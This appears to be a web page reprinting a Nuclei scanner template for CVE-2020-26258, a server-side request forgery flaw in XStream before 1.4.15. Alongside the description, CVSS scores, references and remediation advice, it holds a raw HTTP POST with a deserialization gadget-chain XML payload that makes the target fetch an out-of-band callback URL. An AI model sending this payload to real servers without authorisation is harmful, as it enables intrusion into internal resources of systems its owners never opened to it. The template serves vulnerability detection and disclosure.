CVE-2020-26258: XStream <1.4.15 - Server-Side Request Forgery

2025-08-01 XStream PoC Public

Description

XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

PoC

id: CVE-2020-26258

info:
  name: XStream <1.4.15 - Server-Side Request Forgery
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks.
  remediation: Install at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher.
  reference:
    - https://x-stream.github.io/CVE-2020-26258.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258
    - https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26258
    - https://lists.apache.org/thread.html/r97993e3d78e1f5389b7b172ba9f308440830ce5f051ee62714a0aa34@%3Ccommits.struts.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-26258
    cwe-id: CWE-918
    epss-score: 0.81817
    epss-percentile: 0.99628
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,ssrf,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='javax.activation.URLDataSource'>
                    <url>http://{{interactsh-url}}/internal/:</url>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 490a004630440220507f4270dc43a89ff1c9a577f7f9871669aafb9b647cecfb8e1d3fe62336322f02201b804162fc09925693b56ceea6830dd654a2c497f0d37b4d35cbe3e244548af1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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